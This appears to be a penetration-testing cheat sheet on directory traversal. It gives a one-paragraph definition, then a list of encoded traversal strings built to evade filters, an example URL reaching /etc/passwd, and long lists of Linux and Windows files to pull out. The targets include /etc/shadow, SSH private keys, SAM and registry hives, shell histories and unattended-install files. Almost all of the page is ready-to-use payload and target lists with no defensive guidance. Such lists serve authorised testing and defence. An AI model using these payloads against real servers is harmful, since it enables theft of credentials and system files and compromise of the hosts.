Directory Traversals

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A Directory traversal or path traversal, is a web security vulnerability that allows the reading of files on a server running an application. If the files exposed include application code or data, credentials for back-end systems, or sensitive operating system files, an attacker could utilize this information to compromise the hosting server.

The below list contains examples of possible strings used to enumerate directories through a URL. Below them are lists of possible Linux and Windows operating systems that could contain sensitive information.
EXAMPLE: https://osbornepro.com/../../../etc/passwd

• ../
• ..././
• %2e%2e%2f
• %252e%252e%252f
• %2e%2e/
• ..%2f
• ..%c0%af
• %c0%ae%c0%ae%c0%af
• ..\
• ...\.\
• %2e%2e%5c
• %2e%2e\
• ..%5c
• %252e%252e%255c
• ..%255c
• ..%c1%9c
• %uff0e%uff0e%u2215
• %uff0e%uff0e%u2216
• %EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0

Linux Important Files

/etc/passwd /etc/shadow /etc/aliases /etc/anacrontab /etc/apache2/apache2.conf /etc/apache2/httpd.conf /etc/at.allow /etc/at.deny /etc/bashrc /etc/bootptab /etc/chrootUsers /etc/chttp.conf /etc/cron.allow /etc/cron.deny /etc/crontab /etc/cups/cupsd.conf /etc/exports /etc/fstab /etc/ftpaccess /etc/ftpchroot /etc/ftphosts /etc/groups /etc/grub.conf /etc/hosts /etc/hosts.allow /etc/hosts.deny /etc/httpd/access.conf /etc/httpd/conf/httpd.conf /etc/httpd/httpd.conf /etc/httpd/logs/access_log /etc/httpd/logs/access.log /etc/httpd/logs/error_log /etc/httpd/logs/error.log /etc/httpd/php.ini /etc/httpd/srm.conf /etc/inetd.conf /etc/inittab /etc/issue /etc/lighttpd.conf /etc/lilo.conf /etc/logrotate.d/ftp /etc/logrotate.d/proftpd /etc/logrotate.d/vsftpd.log /etc/lsb-release /etc/motd /etc/modules.conf /etc/motd /etc/mtab /etc/my.cnf /etc/my.conf /etc/mysql/my.cnf /etc/network/interfaces /etc/networks /etc/npasswd /etc/passwd /etc/php4.4/fcgi/php.ini /etc/php4/apache2/php.ini /etc/php4/apache/php.ini /etc/php4/cgi/php.ini /etc/php4/apache2/php.ini /etc/php5/apache2/php.ini /etc/php5/apache/php.ini /etc/php/apache2/php.ini /etc/php/apache/php.ini /etc/php/cgi/php.ini /etc/php.ini /etc/php/php4/php.ini /etc/php/php.ini /etc/printcap /etc/profile /etc/proftp.conf /etc/proftpd/proftpd.conf /etc/pure-ftpd.conf /etc/pureftpd.passwd /etc/pureftpd.pdb /etc/pure-ftpd/pure-ftpd.conf /etc/pure-ftpd/pure-ftpd.pdb /etc/pure-ftpd/putreftpd.pdb /etc/redhat-release /etc/resolv.conf /etc/samba/smb.conf /etc/snmpd.conf /etc/ssh/ssh_config /etc/ssh/sshd_config /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_key /etc/ssh/ssh_host_key.pub /etc/sysconfig/network /etc/syslog.conf /etc/termcap /etc/vhcs2/proftpd/proftpd.conf /etc/vsftpd.chroot_list /etc/vsftpd.conf /etc/vsftpd/vsftpd.conf /etc/wu-ftpd/ftpaccess /etc/wu-ftpd/ftphosts /etc/wu-ftpd/ftpusers /logs/pure-ftpd.log /logs/security_debug_log /logs/security_log /opt/lampp/etc/httpd.conf /opt/xampp/etc/php.ini /proc/cpuinfo /proc/filesystems /proc/interrupts /proc/ioports /proc/meminfo /proc/modules /proc/mounts /proc/stat /proc/swaps /proc/version /proc/self/net/arp /root/anaconda-ks.cfg /usr/etc/pure-ftpd.conf /usr/lib/php.ini /usr/lib/php/php.ini /usr/local/apache/conf/modsec.conf /usr/local/apache/conf/php.ini /usr/local/apache/log /usr/local/apache/logs /usr/local/apache/logs/access_log /usr/local/apache/logs/access.log /usr/local/apache/audit_log /usr/local/apache/error_log /usr/local/apache/error.log /usr/local/cpanel/logs /usr/local/cpanel/logs/access_log /usr/local/cpanel/logs/error_log /usr/local/cpanel/logs/license_log /usr/local/cpanel/logs/login_log /usr/local/cpanel/logs/stats_log /usr/local/etc/httpd/logs/access_log /usr/local/etc/httpd/logs/error_log /usr/local/etc/php.ini /usr/local/etc/pure-ftpd.conf /usr/local/etc/pureftpd.pdb /usr/local/lib/php.ini /usr/local/php4/httpd.conf /usr/local/php4/httpd.conf.php /usr/local/php4/lib/php.ini /usr/local/php5/httpd.conf /usr/local/php5/httpd.conf.php /usr/local/php5/lib/php.ini /usr/local/php/httpd.conf /usr/local/php/httpd.conf.ini /usr/local/php/lib/php.ini /usr/local/pureftpd/etc/pure-ftpd.conf /usr/local/pureftpd/etc/pureftpd.pdn /usr/local/pureftpd/sbin/pure-config.pl /usr/local/www/logs/httpd_log /usr/local/Zend/etc/php.ini /usr/sbin/pure-config.pl /var/adm/log/xferlog /var/apache2/config.inc /var/apache/logs/access_log /var/apache/logs/error_log /var/cpanel/cpanel.config /var/lib/mysql/my.cnf /var/lib/mysql/mysql/user.MYD /var/local/www/conf/php.ini /var/log/apache2/access_log /var/log/apache2/access.log /var/log/apache2/error_log /var/log/apache2/error.log /var/log/apache/access_log /var/log/apache/access.log /var/log/apache/error_log /var/log/apache/error.log /var/log/apache-ssl/access.log /var/log/apache-ssl/error.log /var/log/auth.log /var/log/boot /var/htmp /var/log/chttp.log /var/log/cups/error.log /var/log/daemon.log /var/log/debug /var/log/dmesg /var/log/dpkg.log /var/log/exim_mainlog /var/log/exim/mainlog /var/log/exim_paniclog /var/log/exim.paniclog /var/log/exim_rejectlog /var/log/exim/rejectlog /var/log/faillog /var/log/ftplog /var/log/ftp-proxy /var/log/ftp-proxy/ftp-proxy.log /var/log/httpd/access_log /var/log/httpd/access.log /var/log/httpd/error_log /var/log/httpd/error.log /var/log/httpsd/ssl.access_log /var/log/httpsd/ssl_log /var/log/kern.log /var/log/lastlog /var/log/lighttpd/access.log /var/log/lighttpd/error.log /var/log/lighttpd/lighttpd.access.log /var/log/lighttpd/lighttpd.error.log /var/log/mail.info /var/log/mail.log /var/log/maillog /var/log/mail.warn /var/log/message /var/log/messages /var/log/mysqlderror.log /var/log/mysql.log /var/log/mysql/mysql-bin.log /var/log/mysql/mysql.log /var/log/mysql/mysql-slow.log /var/log/proftpd /var/log/pureftpd.log /var/log/pure-ftpd/pure-ftpd.log /var/log/secure /var/log/vsftpd.log /var/log/wtmp /var/log/xferlog /var/log/yum.log /var/mysql.log /var/run/utmp /var/spool/cron/crontabs/root /var/webmin/miniserv.log /var/www/log/access_log /var/www/log/error_log /var/www/logs/access_log /var/www/logs/error_log /var/www/logs/access.log /var/www/logs/error.log ~/.atfp_history ~/.bash_history ~/.bash_logout ~/.bash_profile ~/.bashrc ~/.gtkrc ~/.login ~/.logout ~/.mysql_history ~/.nano_history ~/.php_history ~/.profile ~/.ssh/authorized_keys ~/.ssh/id_dsa ~/.ssh/id_dsa.pub ~/.ssh/id_rsa ~/.ssh/id_rsa.pub ~/.ssh/identity ~/.ssh/identity.pub ~/.viminfo ~/.wm_style ~/.Xdefaults ~/.xinitrc ~/.Xresources ~/.xsession /proc/<int>/fd/<int> e.g. /proc/12345/fd/11

Windows Important Files

C:\Windows\win.ini C:\WINNT\win.ini C:\windows\system.ini C:\windows\iis.log C:\windows\System32\Drivers\etc\hosts C:\Windows\system32\config\SYSTEM C:\windows\debug\netsetup.log C:\windows\debug\sammui.log C:\windows\debug\netlogon.log C:\windows\debug\passwd.log C:\windows\system32\winevt\logs\system.evtx C:\windows\system32\winevt\logs\Windows Powershell.evtx C:\windows\WindowsUpdate.log C:\windows\system32\calc.exe C:\windows\system32\windowspowershell\v1.0\powershell.exe C:\windows\ccm\logs\filesystemfile.log C:\users\administrator\appdata\local\recently-used.xbel C:\users\administrator\desktop\desktop.ini C:\windows\panther\unattended.xml C:\windows\panther\unattended\unattended.xml C:\windows\repair\sam C:\windows\system32\tasks\daily C:\windows\panther\sysprep.inf C:/Users/Administrator/NTUser.dat C:/Documents and Settings/Administrator/NTUser.dat C:/apache/logs/access.log C:/apache/logs/error.log C:/apache/php/php.ini C:/boot.ini C:/inetpub/wwwroot/global.asa C:/MySQL/data/hostname.err C:/MySQL/data/mysql.err C:/MySQL/data/mysql.log C:/MySQL/my.cnf C:/MySQL/my.ini C:/php4/php.ini C:/php5/php.ini C:/php/php.ini C:/WINNT/php.ini C:/WINDOWS/php.ini C:/Program Files/Apache Group/Apache2/conf/httpd.conf C:/Program Files/Apache Group/Apache/conf/httpd.conf C:/Program Files/Apache Group/Apache/logs/access.log C:/Program Files/Apache Group/Apache/logs/error.log C:/Program Files/FileZilla Server/FileZilla Server.xml C:/Program Files/MySQL/data/hostname.err C:/Program Files/MySQL/data/mysql-bin.log C:/Program Files/MySQL/data/mysql.err C:/Program Files/MySQL/data/mysql.log C:/Program Files/MySQL/my.ini C:/Program Files/MySQL/my.cnf C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log C:/Program Files/MySQL/MySQL Server 5.0/my.cnf C:/Program Files/MySQL/MySQL Server 5.0/my.ini C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf C:/Program Files (x86)/Apache Group/Apache/conf/access.log C:/Program Files (x86)/Apache Group/Apache/conf/error.log C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml C:/Program Files (x86)/xampp/apache/conf/httpd.conf C:/WINDOWS/Repair/SAM C:/Windows/repair/system C:/Windows/repair/software C:/Windows/repair/security C:/WINDOWS/System32/drivers/etc/hosts C:/xampp/apache/bin/php.ini C:/xampp/apache/logs/access.log C:/xampp/apache/logs/error.log C:/Windows/Panther/Unattend/Unattended.xml C:/Windows/Panther/Unattended.xml C:/Windows/debug/NetSetup.log C:/Windows/system32/config/AppEvent.Evt C:/Windows/system32/config/SecEvent.Evt C:/Windows/system32/config/default.sav C:/Windows/system32/config/security.sav C:/Windows/system32/config/software.sav C:/Windows/system32/config/system.sav C:/Windows/system32/config/regback/default C:/Windows/system32/config/regback/sam C:/Windows/system32/config/regback/security C:/Windows/system32/config/regback/system C:/Windows/system32/config/regback/software C:/Program Files/MySQL/MySQL Server 5.1/my.ini C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml C:/Windows/System32/inetsrv/config/applicationHost.config C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log